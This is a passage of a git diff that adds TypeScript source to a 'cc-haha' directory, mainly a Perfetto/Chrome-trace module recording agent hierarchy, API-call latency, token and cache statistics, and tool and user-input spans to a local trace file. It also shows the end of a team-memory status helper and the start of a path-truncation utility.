+      `${verb} ${teamReadCount} team ${teamReadCount === 1 ? 'memory' : 'memories'}`,
+    )
+  }
+  if (teamSearchCount > 0) {
+    const verb = isActive
+      ? parts.length === 0
+        ? 'Searching'
+        : 'searching'
+      : parts.length === 0
+        ? 'Searched'
+        : 'searched'
+    parts.push(`${verb} team memories`)
+  }
+  if (teamWriteCount > 0) {
+    const verb = isActive
+      ? parts.length === 0
+        ? 'Writing'
+        : 'writing'
+      : parts.length === 0
+        ? 'Wrote'
+        : 'wrote'
+    parts.push(
+      `${verb} ${teamWriteCount} team ${teamWriteCount === 1 ? 'memory' : 'memories'}`,
+    )
+  }
+}
diff --git a/cc-haha/src/utils/telemetry/perfettoTracing.ts b/cc-haha/src/utils/telemetry/perfettoTracing.ts
new file mode 100644
index 0000000..ce3a872
--- /dev/null
+++ b/cc-haha/src/utils/telemetry/perfettoTracing.ts
@@ -0,0 +1,1120 @@
+/**
+ * Perfetto Tracing for Claude Code (Ant-only)
+ *
+ * This module generates traces in the Chrome Trace Event format that can be
+ * viewed in ui.perfetto.dev or Chrome's chrome://tracing.
+ *
+ * NOTE: This feature is ant-only and eliminated from external builds.
+ *
+ * The trace file includes:
+ * - Agent hierarchy (parent-child relationships in a swarm)
+ * - API requests with TTFT, TTLT, prompt length, cache stats, msg ID, speculative flag
+ * - Tool executions with name, duration, and token usage
+ * - User input waiting time
+ *
+ * Usage:
+ * 1. Enable via CLAUDE_CODE_PERFETTO_TRACE=1 or CLAUDE_CODE_PERFETTO_TRACE=<path>
+ * 2. Optionally set CLAUDE_CODE_PERFETTO_WRITE_INTERVAL_S=<positive integer> to write the
+ *    trace file periodically (default: write only on exit).
+ * 3. Run Claude Code normally
+ * 4. Trace file is written to ~/.claude/traces/trace-<session-id>.json
+ *    or to the specified path
+ * 5. Open in ui.perfetto.dev to visualize
+ */
+
+import { feature } from 'bun:bundle'
+import { mkdirSync, writeFileSync } from 'fs'
+import { mkdir, writeFile } from 'fs/promises'
+import { dirname, join } from 'path'
+import { getSessionId } from '../../bootstrap/state.js'
+import { registerCleanup } from '../cleanupRegistry.js'
+import { logForDebugging } from '../debug.js'
+import {
+  getClaudeConfigHomeDir,
+  isEnvDefinedFalsy,
+  isEnvTruthy,
+} from '../envUtils.js'
+import { errorMessage } from '../errors.js'
+import { djb2Hash } from '../hash.js'
+import { jsonStringify } from '../slowOperations.js'
+import { getAgentId, getAgentName, getParentSessionId } from '../teammate.js'
+
+/**
+ * Chrome Trace Event format types
+ * See: https://docs.google.com/document/d/1CvAClvFfyA5R-PhYUmn5OOQtYMH4h6I0nSsKchNAySU
+ */
+
+export type TraceEventPhase =
+  | 'B' // Begin duration event
+  | 'E' // End duration event
+  | 'X' // Complete event (with duration)
+  | 'i' // Instant event
+  | 'C' // Counter event
+  | 'b' // Async begin
+  | 'n' // Async instant
+  | 'e' // Async end
+  | 'M' // Metadata event
+
+export type TraceEvent = {
+  name: string
+  cat: string
+  ph: TraceEventPhase
+  ts: number // Timestamp in microseconds
+  pid: number // Process ID (we use 1 for main, agent IDs for subagents)
+  tid: number // Thread ID (we use numeric hash of agent name or 1 for main)
+  dur?: number // Duration in microseconds (for 'X' events)
+  args?: Record<string, unknown>
+  id?: string // For async events
+  scope?: string
+}
+
+/**
+ * Agent info for tracking hierarchy
+ */
+type AgentInfo = {
+  agentId: string
+  agentName: string
+  parentAgentId?: string
+  processId: number
+  threadId: number
+}
+
+/**
+ * Pending span for tracking begin/end pairs
+ */
+type PendingSpan = {
+  name: string
+  category: string
+  startTime: number
+  agentInfo: AgentInfo
+  args: Record<string, unknown>
+}
+
+// Global state for the Perfetto tracer
+let isEnabled = false
+let tracePath: string | null = null
+// Metadata events (ph: 'M' — process/thread names, parent links) are kept
+// separate so they survive eviction — Perfetto UI needs them to label
+// tracks. Bounded by agent count (~3 events per agent).
+const metadataEvents: TraceEvent[] = []
+const events: TraceEvent[] = []
+// events[] cap. Cron-driven sessions run for days; 22 push sites × many
+// turns would otherwise grow unboundedly (periodicWrite flushes to disk but
+// does not truncate — it writes the full snapshot). At ~300B/event this is
+// ~30MB, enough trace history for any debugging session. Eviction drops the
+// oldest half when hit, amortized O(1).
+const MAX_EVENTS = 100_000
+const pendingSpans = new Map<string, PendingSpan>()
+const agentRegistry = new Map<string, AgentInfo>()
+let totalAgentCount = 0
+let startTimeMs = 0
+let spanIdCounter = 0
+let traceWritten = false // Flag to avoid double writes
+
+// Map agent IDs to numeric process IDs (Perfetto requires numeric IDs)
+let processIdCounter = 1
+const agentIdToProcessId = new Map<string, number>()
+
+// Periodic write interval handle
+let writeIntervalId: ReturnType<typeof setInterval> | null = null
+
+const STALE_SPAN_TTL_MS = 30 * 60 * 1000 // 30 minutes
+const STALE_SPAN_CLEANUP_INTERVAL_MS = 60 * 1000 // 1 minute
+let staleSpanCleanupId: ReturnType<typeof setInterval> | null = null
+
+/**
+ * Convert a string to a numeric hash for use as thread ID
+ */
+function stringToNumericHash(str: string): number {
+  return Math.abs(djb2Hash(str)) || 1 // Ensure non-zero
+}
+
+/**
+ * Get or create a numeric process ID for an agent
+ */
+function getProcessIdForAgent(agentId: string): number {
+  const existing = agentIdToProcessId.get(agentId)
+  if (existing !== undefined) return existing
+
+  processIdCounter++
+  agentIdToProcessId.set(agentId, processIdCounter)
+  return processIdCounter
+}
+
+/**
+ * Get current agent info
+ */
+function getCurrentAgentInfo(): AgentInfo {
+  const agentId = getAgentId() ?? getSessionId()
+  const agentName = getAgentName() ?? 'main'
+  const parentSessionId = getParentSessionId()
+
+  // Check if we've already registered this agent
+  const existing = agentRegistry.get(agentId)
+  if (existing) return existing
+
+  const info: AgentInfo = {
+    agentId,
+    agentName,
+    parentAgentId: parentSessionId,
+    processId: agentId === getSessionId() ? 1 : getProcessIdForAgent(agentId),
+    threadId: stringToNumericHash(agentName),
+  }
+
+  agentRegistry.set(agentId, info)
+  totalAgentCount++
+  return info
+}
+
+/**
+ * Get timestamp in microseconds relative to trace start
+ */
+function getTimestamp(): number {
+  return (Date.now() - startTimeMs) * 1000
+}
+
+/**
+ * Generate a unique span ID
+ */
+function generateSpanId(): string {
+  return `span_${++spanIdCounter}`
+}
+
+/**
+ * Evict pending spans older than STALE_SPAN_TTL_MS.
+ * Mirrors the TTL cleanup pattern in sessionTracing.ts.
+ */
+function evictStaleSpans(): void {
+  const now = getTimestamp()
+  const ttlUs = STALE_SPAN_TTL_MS * 1000 // Convert ms to microseconds
+  for (const [spanId, span] of pendingSpans) {
+    if (now - span.startTime > ttlUs) {
+      // Emit an end event so the span shows up in the trace as incomplete
+      events.push({
+        name: span.name,
+        cat: span.category,
+        ph: 'E',
+        ts: now,
+        pid: span.agentInfo.processId,
+        tid: span.agentInfo.threadId,
+        args: {
+          ...span.args,
+          evicted: true,
+          duration_ms: (now - span.startTime) / 1000,
+        },
+      })
+      pendingSpans.delete(spanId)
+    }
+  }
+}
+
+/**
+ * Build the full trace document (Chrome Trace JSON format).
+ */
+function buildTraceDocument(): string {
+  return jsonStringify({
+    traceEvents: [...metadataEvents, ...events],
+    metadata: {
+      session_id: getSessionId(),
+      trace_start_time: new Date(startTimeMs).toISOString(),
+      agent_count: totalAgentCount,
+      total_event_count: metadataEvents.length + events.length,
+    },
+  })
+}
+
+/**
+ * Drop the oldest half of events[] when over MAX_EVENTS. Called from the
+ * stale-span cleanup interval (60s). The half-batch splice keeps this
+ * amortized O(1) — we don't pay splice cost per-push. A synthetic marker
+ * is inserted so the gap is visible in ui.perfetto.dev.
+ */
+function evictOldestEvents(): void {
+  if (events.length < MAX_EVENTS) return
+  const dropped = events.splice(0, MAX_EVENTS / 2)
+  events.unshift({
+    name: 'trace_truncated',
+    cat: '__metadata',
+    ph: 'i',
+    ts: dropped[dropped.length - 1]?.ts ?? 0,
+    pid: 1,
+    tid: 0,
+    args: { dropped_events: dropped.length },
+  })
+  logForDebugging(
+    `[Perfetto] Evicted ${dropped.length} oldest events (cap ${MAX_EVENTS})`,
+  )
+}
+
+/**
+ * Initialize Perfetto tracing
+ * Call this early in the application lifecycle
+ */
+export function initializePerfettoTracing(): void {
+  const envValue = process.env.CLAUDE_CODE_PERFETTO_TRACE
+  logForDebugging(
+    `[Perfetto] initializePerfettoTracing called, env value: ${envValue}`,
+  )
+
+  // Wrap in feature() for dead code elimination - entire block removed from external builds
+  if (feature('PERFETTO_TRACING')) {
+    if (!envValue || isEnvDefinedFalsy(envValue)) {
+      logForDebugging(
+        '[Perfetto] Tracing disabled (env var not set or disabled)',
+      )
+      return
+    }
+
+    isEnabled = true
+    startTimeMs = Date.now()
+
+    // Determine trace file path
+    if (isEnvTruthy(envValue)) {
+      const tracesDir = join(getClaudeConfigHomeDir(), 'traces')
+      tracePath = join(tracesDir, `trace-${getSessionId()}.json`)
+    } else {
+      // Use the provided path
+      tracePath = envValue
+    }
+
+    logForDebugging(
+      `[Perfetto] Tracing enabled, will write to: ${tracePath}, isEnabled=${isEnabled}`,
+    )
+
+    // Start periodic full-trace write if CLAUDE_CODE_PERFETTO_WRITE_INTERVAL_S is a positive integer
+    const intervalSec = parseInt(
+      process.env.CLAUDE_CODE_PERFETTO_WRITE_INTERVAL_S ?? '',
+      10,
+    )
+    if (intervalSec > 0) {
+      writeIntervalId = setInterval(() => {
+        void periodicWrite()
+      }, intervalSec * 1000)
+      // Don't let the interval keep the process alive on its own
+      if (writeIntervalId.unref) writeIntervalId.unref()
+      logForDebugging(
+        `[Perfetto] Periodic write enabled, interval: ${intervalSec}s`,
+      )
+    }
+
+    // Start stale span cleanup interval
+    staleSpanCleanupId = setInterval(() => {
+      evictStaleSpans()
+      evictOldestEvents()
+    }, STALE_SPAN_CLEANUP_INTERVAL_MS)
+    if (staleSpanCleanupId.unref) staleSpanCleanupId.unref()
+
+    // Register cleanup to write final trace on exit
+    registerCleanup(async () => {
+      logForDebugging('[Perfetto] Cleanup callback invoked')
+      await writePerfettoTrace()
+    })
+
+    // Also register a beforeExit handler as a fallback
+    // This ensures the trace is written even if cleanup registry is not called
+    process.on('beforeExit', () => {
+      logForDebugging('[Perfetto] beforeExit handler invoked')
+      void writePerfettoTrace()
+    })
+
+    // Register a synchronous exit handler as a last resort
+    // This is the final fallback to ensure trace is written before process exits
+    process.on('exit', () => {
+      if (!traceWritten) {
+        logForDebugging(
+          '[Perfetto] exit handler invoked, writing trace synchronously',
+        )
+        writePerfettoTraceSync()
+      }
+    })
+
+    // Emit process metadata events for main process
+    const mainAgent = getCurrentAgentInfo()
+    emitProcessMetadata(mainAgent)
+  }
+}
+
+/**
+ * Emit metadata events for a process/agent
+ */
+function emitProcessMetadata(agentInfo: AgentInfo): void {
+  if (!isEnabled) return
+
+  // Process name
+  metadataEvents.push({
+    name: 'process_name',
+    cat: '__metadata',
+    ph: 'M',
+    ts: 0,
+    pid: agentInfo.processId,
+    tid: 0,
+    args: { name: agentInfo.agentName },
+  })
+
+  // Thread name (same as process for now)
+  metadataEvents.push({
+    name: 'thread_name',
+    cat: '__metadata',
+    ph: 'M',
+    ts: 0,
+    pid: agentInfo.processId,
+    tid: agentInfo.threadId,
+    args: { name: agentInfo.agentName },
+  })
+
+  // Add parent info if available
+  if (agentInfo.parentAgentId) {
+    metadataEvents.push({
+      name: 'parent_agent',
+      cat: '__metadata',
+      ph: 'M',
+      ts: 0,
+      pid: agentInfo.processId,
+      tid: 0,
+      args: {
+        parent_agent_id: agentInfo.parentAgentId,
+      },
+    })
+  }
+}
+
+/**
+ * Check if Perfetto tracing is enabled
+ */
+export function isPerfettoTracingEnabled(): boolean {
+  return isEnabled
+}
+
+/**
+ * Register a new agent in the trace
+ * Call this when a subagent/teammate is spawned
+ */
+export function registerAgent(
+  agentId: string,
+  agentName: string,
+  parentAgentId?: string,
+): void {
+  if (!isEnabled) return
+
+  const info: AgentInfo = {
+    agentId,
+    agentName,
+    parentAgentId,
+    processId: getProcessIdForAgent(agentId),
+    threadId: stringToNumericHash(agentName),
+  }
+
+  agentRegistry.set(agentId, info)
+  totalAgentCount++
+  emitProcessMetadata(info)
+}
+
+/**
+ * Unregister an agent from the trace.
+ * Call this when an agent completes, fails, or is aborted to free memory.
+ */
+export function unregisterAgent(agentId: string): void {
+  if (!isEnabled) return
+  agentRegistry.delete(agentId)
+  agentIdToProcessId.delete(agentId)
+}
+
+/**
+ * Start an API call span
+ */
+export function startLLMRequestPerfettoSpan(args: {
+  model: string
+  promptTokens?: number
+  messageId?: string
+  isSpeculative?: boolean
+  querySource?: string
+}): string {
+  if (!isEnabled) return ''
+
+  const spanId = generateSpanId()
+  const agentInfo = getCurrentAgentInfo()
+
+  pendingSpans.set(spanId, {
+    name: 'API Call',
+    category: 'api',
+    startTime: getTimestamp(),
+    agentInfo,
+    args: {
+      model: args.model,
+      prompt_tokens: args.promptTokens,
+      message_id: args.messageId,
+      is_speculative: args.isSpeculative ?? false,
+      query_source: args.querySource,
+    },
+  })
+
+  // Emit begin event
+  events.push({
+    name: 'API Call',
+    cat: 'api',
+    ph: 'B',
+    ts: pendingSpans.get(spanId)!.startTime,
+    pid: agentInfo.processId,
+    tid: agentInfo.threadId,
+    args: pendingSpans.get(spanId)!.args,
+  })
+
+  return spanId
+}
+
+/**
+ * End an API call span with response metadata
+ */
+export function endLLMRequestPerfettoSpan(
+  spanId: string,
+  metadata: {
+    ttftMs?: number
+    ttltMs?: number
+    promptTokens?: number
+    outputTokens?: number
+    cacheReadTokens?: number
+    cacheCreationTokens?: number
+    messageId?: string
+    success?: boolean
+    error?: string
+    /** Time spent in pre-request setup (client creation, retries) before the successful attempt */
+    requestSetupMs?: number
+    /** Timestamps (Date.now()) of each attempt start — used to emit retry sub-spans */
+    attemptStartTimes?: number[]
+  },
+): void {
+  if (!isEnabled || !spanId) return
+
+  const pending = pendingSpans.get(spanId)
+  if (!pending) return
+
+  const endTime = getTimestamp()
+  const duration = endTime - pending.startTime
+
+  const promptTokens =
+    metadata.promptTokens ?? (pending.args.prompt_tokens as number | undefined)
+  const ttftMs = metadata.ttftMs
+  const ttltMs = metadata.ttltMs
+  const outputTokens = metadata.outputTokens
+  const cacheReadTokens = metadata.cacheReadTokens
+
+  // Compute derived metrics
+  // ITPS: input tokens per second (prompt processing speed)
+  const itps =
+    ttftMs !== undefined && promptTokens !== undefined && ttftMs > 0
+      ? Math.round((promptTokens / (ttftMs / 1000)) * 100) / 100
+      : undefined
+
+  // OTPS: output tokens per second (sampling speed)
+  const samplingMs =
+    ttltMs !== undefined && ttftMs !== undefined ? ttltMs - ttftMs : undefined
+  const otps =
+    samplingMs !== undefined && outputTokens !== undefined && samplingMs > 0
+      ? Math.round((outputTokens / (samplingMs / 1000)) * 100) / 100
+      : undefined
+
+  // Cache hit rate: percentage of prompt tokens from cache
+  const cacheHitRate =
+    cacheReadTokens !== undefined &&
+    promptTokens !== undefined &&
+    promptTokens > 0
+      ? Math.round((cacheReadTokens / promptTokens) * 10000) / 100
+      : undefined
+
+  const requestSetupMs = metadata.requestSetupMs
+  const attemptStartTimes = metadata.attemptStartTimes
+
+  // Merge metadata with original args
+  const args = {
+    ...pending.args,
+    ttft_ms: ttftMs,
+    ttlt_ms: ttltMs,
+    prompt_tokens: promptTokens,
+    output_tokens: outputTokens,
+    cache_read_tokens: cacheReadTokens,
+    cache_creation_tokens: metadata.cacheCreationTokens,
+    message_id: metadata.messageId ?? pending.args.message_id,
+    success: metadata.success ?? true,
+    error: metadata.error,
+    duration_ms: duration / 1000,
+    request_setup_ms: requestSetupMs,
+    // Derived metrics
+    itps,
+    otps,
+    cache_hit_rate_pct: cacheHitRate,
+  }
+
+  // Emit Request Setup sub-span when there was measurable setup time
+  // (client creation, param building, retries before the successful attempt)
+  const setupUs =
+    requestSetupMs !== undefined && requestSetupMs > 0
+      ? requestSetupMs * 1000
+      : 0
+  if (setupUs > 0) {
+    const setupEndTs = pending.startTime + setupUs
+
+    events.push({
+      name: 'Request Setup',
+      cat: 'api,setup',
+      ph: 'B',
+      ts: pending.startTime,
+      pid: pending.agentInfo.processId,
+      tid: pending.agentInfo.threadId,
+      args: {
+        request_setup_ms: requestSetupMs,
+        attempt_count: attemptStartTimes?.length ?? 1,
+      },
+    })
+
+    // Emit retry attempt sub-spans within Request Setup.
+    // Each failed attempt runs from its start to the next attempt's start.
+    if (attemptStartTimes && attemptStartTimes.length > 1) {
+      // attemptStartTimes[0] is the reference point (first attempt).
+      // Convert wall-clock deltas into Perfetto-relative microseconds.
+      const baseWallMs = attemptStartTimes[0]!
+      for (let i = 0; i < attemptStartTimes.length - 1; i++) {
+        const attemptStartUs =
+          pending.startTime + (attemptStartTimes[i]! - baseWallMs) * 1000
+        const attemptEndUs =
+          pending.startTime + (attemptStartTimes[i + 1]! - baseWallMs) * 1000
+
+        events.push({
+          name: `Attempt ${i + 1} (retry)`,
+          cat: 'api,retry',
+          ph: 'B',
+          ts: attemptStartUs,
+          pid: pending.agentInfo.processId,
+          tid: pending.agentInfo.threadId,
+          args: { attempt: i + 1 },
+        })
+        events.push({
+          name: `Attempt ${i + 1} (retry)`,
+          cat: 'api,retry',
+          ph: 'E',
+          ts: attemptEndUs,
+          pid: pending.agentInfo.processId,
+          tid: pending.agentInfo.threadId,
+        })
+      }
+    }
+
+    events.push({
+      name: 'Request Setup',
+      cat: 'api,setup',
+      ph: 'E',
+      ts: setupEndTs,
+      pid: pending.agentInfo.processId,
+      tid: pending.agentInfo.threadId,
+    })
+  }
+
+  // Emit sub-spans for First Token and Sampling phases (before API Call end)
+  // Using B/E pairs in proper nesting order for correct Perfetto visualization
+  if (ttftMs !== undefined) {
+    // First Token starts after request setup (if any)
+    const firstTokenStartTs = pending.startTime + setupUs
+    const firstTokenEndTs = firstTokenStartTs + ttftMs * 1000
+
+    // First Token phase: from successful attempt start to first token
+    events.push({
+      name: 'First Token',
+      cat: 'api,ttft',
+      ph: 'B',
+      ts: firstTokenStartTs,
+      pid: pending.agentInfo.processId,
+      tid: pending.agentInfo.threadId,
+      args: {
+        ttft_ms: ttftMs,
+        prompt_tokens: promptTokens,
+        itps,
+        cache_hit_rate_pct: cacheHitRate,
+      },
+    })
+    events.push({
+      name: 'First Token',
+      cat: 'api,ttft',
+      ph: 'E',
+      ts: firstTokenEndTs,
+      pid: pending.agentInfo.processId,
+      tid: pending.agentInfo.threadId,
+    })
+
+    // Sampling phase: from first token to last token
+    // Note: samplingMs = ttltMs - ttftMs still includes setup time in ttltMs,
+    // so we compute the actual sampling duration for the span as the time from
+    // first token to API call end (endTime), not samplingMs directly.
+    const actualSamplingMs =
+      ttltMs !== undefined ? ttltMs - ttftMs - setupUs / 1000 : undefined
+    if (actualSamplingMs !== undefined && actualSamplingMs > 0) {
+      events.push({
+        name: 'Sampling',
+        cat: 'api,sampling',
+        ph: 'B',
+        ts: firstTokenEndTs,
+        pid: pending.agentInfo.processId,
+        tid: pending.agentInfo.threadId,
+        args: {
+          sampling_ms: actualSamplingMs,
+          output_tokens: outputTokens,
+          otps,
+        },
+      })
+      events.push({
+        name: 'Sampling',
+        cat: 'api,sampling',
+        ph: 'E',
+        ts: firstTokenEndTs + actualSamplingMs * 1000,
+        pid: pending.agentInfo.processId,
+        tid: pending.agentInfo.threadId,
+      })
+    }
+  }
+
+  // Emit API Call end event (after sub-spans)
+  events.push({
+    name: pending.name,
+    cat: pending.category,
+    ph: 'E',
+    ts: endTime,
+    pid: pending.agentInfo.processId,
+    tid: pending.agentInfo.threadId,
+    args,
+  })
+
+  pendingSpans.delete(spanId)
+}
+
+/**
+ * Start a tool execution span
+ */
+export function startToolPerfettoSpan(
+  toolName: string,
+  args?: Record<string, unknown>,
+): string {
+  if (!isEnabled) return ''
+
+  const spanId = generateSpanId()
+  const agentInfo = getCurrentAgentInfo()
+
+  pendingSpans.set(spanId, {
+    name: `Tool: ${toolName}`,
+    category: 'tool',
+    startTime: getTimestamp(),
+    agentInfo,
+    args: {
+      tool_name: toolName,
+      ...args,
+    },
+  })
+
+  // Emit begin event
+  events.push({
+    name: `Tool: ${toolName}`,
+    cat: 'tool',
+    ph: 'B',
+    ts: pendingSpans.get(spanId)!.startTime,
+    pid: agentInfo.processId,
+    tid: agentInfo.threadId,
+    args: pendingSpans.get(spanId)!.args,
+  })
+
+  return spanId
+}
+
+/**
+ * End a tool execution span
+ */
+export function endToolPerfettoSpan(
+  spanId: string,
+  metadata?: {
+    success?: boolean
+    error?: string
+    resultTokens?: number
+  },
+): void {
+  if (!isEnabled || !spanId) return
+
+  const pending = pendingSpans.get(spanId)
+  if (!pending) return
+
+  const endTime = getTimestamp()
+  const duration = endTime - pending.startTime
+
+  const args = {
+    ...pending.args,
+    success: metadata?.success ?? true,
+    error: metadata?.error,
+    result_tokens: metadata?.resultTokens,
+    duration_ms: duration / 1000,
+  }
+
+  // Emit end event
+  events.push({
+    name: pending.name,
+    cat: pending.category,
+    ph: 'E',
+    ts: endTime,
+    pid: pending.agentInfo.processId,
+    tid: pending.agentInfo.threadId,
+    args,
+  })
+
+  pendingSpans.delete(spanId)
+}
+
+/**
+ * Start a user input waiting span
+ */
+export function startUserInputPerfettoSpan(context?: string): string {
+  if (!isEnabled) return ''
+
+  const spanId = generateSpanId()
+  const agentInfo = getCurrentAgentInfo()
+
+  pendingSpans.set(spanId, {
+    name: 'Waiting for User Input',
+    category: 'user_input',
+    startTime: getTimestamp(),
+    agentInfo,
+    args: {
+      context,
+    },
+  })
+
+  // Emit begin event
+  events.push({
+    name: 'Waiting for User Input',
+    cat: 'user_input',
+    ph: 'B',
+    ts: pendingSpans.get(spanId)!.startTime,
+    pid: agentInfo.processId,
+    tid: agentInfo.threadId,
+    args: pendingSpans.get(spanId)!.args,
+  })
+
+  return spanId
+}
+
+/**
+ * End a user input waiting span
+ */
+export function endUserInputPerfettoSpan(
+  spanId: string,
+  metadata?: {
+    decision?: string
+    source?: string
+  },
+): void {
+  if (!isEnabled || !spanId) return
+
+  const pending = pendingSpans.get(spanId)
+  if (!pending) return
+
+  const endTime = getTimestamp()
+  const duration = endTime - pending.startTime
+
+  const args = {
+    ...pending.args,
+    decision: metadata?.decision,
+    source: metadata?.source,
+    duration_ms: duration / 1000,
+  }
+
+  // Emit end event
+  events.push({
+    name: pending.name,
+    cat: pending.category,
+    ph: 'E',
+    ts: endTime,
+    pid: pending.agentInfo.processId,
+    tid: pending.agentInfo.threadId,
+    args,
+  })
+
+  pendingSpans.delete(spanId)
+}
+
+/**
+ * Emit an instant event (marker)
+ */
+export function emitPerfettoInstant(
+  name: string,
+  category: string,
+  args?: Record<string, unknown>,
+): void {
+  if (!isEnabled) return
+
+  const agentInfo = getCurrentAgentInfo()
+
+  events.push({
+    name,
+    cat: category,
+    ph: 'i',
+    ts: getTimestamp(),
+    pid: agentInfo.processId,
+    tid: agentInfo.threadId,
+    args,
+  })
+}
+
+/**
+ * Emit a counter event for tracking metrics over time
+ */
+export function emitPerfettoCounter(
+  name: string,
+  values: Record<string, number>,
+): void {
+  if (!isEnabled) return
+
+  const agentInfo = getCurrentAgentInfo()
+
+  events.push({
+    name,
+    cat: 'counter',
+    ph: 'C',
+    ts: getTimestamp(),
+    pid: agentInfo.processId,
+    tid: agentInfo.threadId,
+    args: values,
+  })
+}
+
+/**
+ * Start an interaction span (wraps a full user request cycle)
+ */
+export function startInteractionPerfettoSpan(userPrompt?: string): string {
+  if (!isEnabled) return ''
+
+  const spanId = generateSpanId()
+  const agentInfo = getCurrentAgentInfo()
+
+  pendingSpans.set(spanId, {
+    name: 'Interaction',
+    category: 'interaction',
+    startTime: getTimestamp(),
+    agentInfo,
+    args: {
+      user_prompt_length: userPrompt?.length,
+    },
+  })
+
+  // Emit begin event
+  events.push({
+    name: 'Interaction',
+    cat: 'interaction',
+    ph: 'B',
+    ts: pendingSpans.get(spanId)!.startTime,
+    pid: agentInfo.processId,
+    tid: agentInfo.threadId,
+    args: pendingSpans.get(spanId)!.args,
+  })
+
+  return spanId
+}
+
+/**
+ * End an interaction span
+ */
+export function endInteractionPerfettoSpan(spanId: string): void {
+  if (!isEnabled || !spanId) return
+
+  const pending = pendingSpans.get(spanId)
+  if (!pending) return
+
+  const endTime = getTimestamp()
+  const duration = endTime - pending.startTime
+
+  // Emit end event
+  events.push({
+    name: pending.name,
+    cat: pending.category,
+    ph: 'E',
+    ts: endTime,
+    pid: pending.agentInfo.processId,
+    tid: pending.agentInfo.threadId,
+    args: {
+      ...pending.args,
+      duration_ms: duration / 1000,
+    },
+  })
+
+  pendingSpans.delete(spanId)
+}
+
+// ---------------------------------------------------------------------------
+// Periodic write helpers
+// ---------------------------------------------------------------------------
+
+/**
+ * Stop the periodic write timer.
+ */
+function stopWriteInterval(): void {
+  if (staleSpanCleanupId) {
+    clearInterval(staleSpanCleanupId)
+    staleSpanCleanupId = null
+  }
+  if (writeIntervalId) {
+    clearInterval(writeIntervalId)
+    writeIntervalId = null
+  }
+}
+
+/**
+ * Force-close any remaining open spans at session end.
+ */
+function closeOpenSpans(): void {
+  for (const [spanId, pending] of pendingSpans) {
+    const endTime = getTimestamp()
+    events.push({
+      name: pending.name,
+      cat: pending.category,
+      ph: 'E',
+      ts: endTime,
+      pid: pending.agentInfo.processId,
+      tid: pending.agentInfo.threadId,
+      args: {
+        ...pending.args,
+        incomplete: true,
+        duration_ms: (endTime - pending.startTime) / 1000,
+      },
+    })
+    pendingSpans.delete(spanId)
+  }
+}
+
+/**
+ * Write the full trace to disk.  Errors are logged but swallowed so that a
+ * transient I/O problem does not crash the session — the next periodic tick
+ * (or the final exit write) will retry with a complete snapshot.
+ */
+async function periodicWrite(): Promise<void> {
+  if (!isEnabled || !tracePath || traceWritten) return
+
+  try {
+    await mkdir(dirname(tracePath), { recursive: true })
+    await writeFile(tracePath, buildTraceDocument())
+    logForDebugging(
+      `[Perfetto] Periodic write: ${events.length} events to ${tracePath}`,
+    )
+  } catch (error) {
+    logForDebugging(
+      `[Perfetto] Periodic write failed: ${errorMessage(error)}`,
+      { level: 'error' },
+    )
+  }
+}
+
+/**
+ * Final async write: close open spans and write the complete trace.
+ * Idempotent — sets `traceWritten` on success so subsequent calls are no-ops.
+ */
+async function writePerfettoTrace(): Promise<void> {
+  if (!isEnabled || !tracePath || traceWritten) {
+    logForDebugging(
+      `[Perfetto] Skipping final write: isEnabled=${isEnabled}, tracePath=${tracePath}, traceWritten=${traceWritten}`,
+    )
+    return
+  }
+
+  stopWriteInterval()
+  closeOpenSpans()
+
+  logForDebugging(
+    `[Perfetto] writePerfettoTrace called: events=${events.length}`,
+  )
+
+  try {
+    await mkdir(dirname(tracePath), { recursive: true })
+    await writeFile(tracePath, buildTraceDocument())
+    traceWritten = true
+    logForDebugging(`[Perfetto] Trace finalized at: ${tracePath}`)
+  } catch (error) {
+    logForDebugging(
+      `[Perfetto] Failed to write final trace: ${errorMessage(error)}`,
+      { level: 'error' },
+    )
+  }
+}
+
+/**
+ * Final synchronous write (fallback for process 'exit' handler where async is forbidden).
+ */
+function writePerfettoTraceSync(): void {
+  if (!isEnabled || !tracePath || traceWritten) {
+    logForDebugging(
+      `[Perfetto] Skipping final sync write: isEnabled=${isEnabled}, tracePath=${tracePath}, traceWritten=${traceWritten}`,
+    )
+    return
+  }
+
+  stopWriteInterval()
+  closeOpenSpans()
+
+  logForDebugging(
+    `[Perfetto] writePerfettoTraceSync called: events=${events.length}`,
+  )
+
+  try {
+    const dir = dirname(tracePath)
+    // eslint-disable-next-line custom-rules/no-sync-fs -- Only called from process.on('exit') handler
+    mkdirSync(dir, { recursive: true })
+    // eslint-disable-next-line custom-rules/no-sync-fs, eslint-plugin-n/no-sync -- Required for process 'exit' handler which doesn't support async
+    writeFileSync(tracePath, buildTraceDocument())
+    traceWritten = true
+    logForDebugging(`[Perfetto] Trace finalized synchronously at: ${tracePath}`)
+  } catch (error) {
+    logForDebugging(
+      `[Perfetto] Failed to write final trace synchronously: ${errorMessage(error)}`,
+      { level: 'error' },
+    )
+  }
+}
+
+/**
+ * Get all recorded events (for testing)
+ */
+export function getPerfettoEvents(): TraceEvent[] {
+  return [...metadataEvents, ...events]
+}
+
+/**
+ * Reset the tracer state (for testing)
+ */
+export function resetPerfettoTracer(): void {
+  if (staleSpanCleanupId) {
+    clearInterval(staleSpanCleanupId)
+    staleSpanCleanupId = null
+  }
+  stopWriteInterval()
+  metadataEvents.length = 0
+  events.length = 0
+  pendingSpans.clear()
+  agentRegistry.clear()
+  agentIdToProcessId.clear()
+  totalAgentCount = 0
+  processIdCounter = 1
+  spanIdCounter = 0
+  isEnabled = false
+  tracePath = null
+  startTimeMs = 0
+  traceWritten = false
+}
+
+/**
+ * Trigger a periodic write immediately (for testing)
+ */
+export async function triggerPeriodicWriteForTesting(): Promise<void> {
+  await periodicWrite()
+}
+
+/**
+ * Evict stale spans immediately (for testing)
+ */
+export function evictStaleSpansForTesting(): void {
+  evictStaleSpans()
+}
+
+export const MAX_EVENTS_FOR_TESTING = MAX_EVENTS
+export function evictOldestEventsForTesting(): void {
+  evictOldestEvents()
+}
diff --git a/cc-haha/src/utils/truncate.ts b/cc-haha/src/utils/truncate.ts
new file mode 100644
index 0000000..fa35c10
--- /dev/null
+++ b/cc-haha/src/utils/truncate.ts
@@ -0,0 +1,179 @@
+// Width-aware truncation/wrapping — needs ink/stringWidth (not leaf-safe).
+
+import { stringWidth } from '../ink/stringWidth.js'
+import { getGraphemeSegmenter } from './intl.js'
+
+/**
+ * Truncates a file path in the middle to preserve both directory context and filename.
+ * Width-aware: uses stringWidth() for correct CJK/emoji measurement.
+ * For example: "src/components/deeply/nested/folder/MyComponent.tsx" becomes
+ * "src/components/…/MyComponent.tsx" when maxLength is 30.
+ *
+ * @param path The file path to truncate
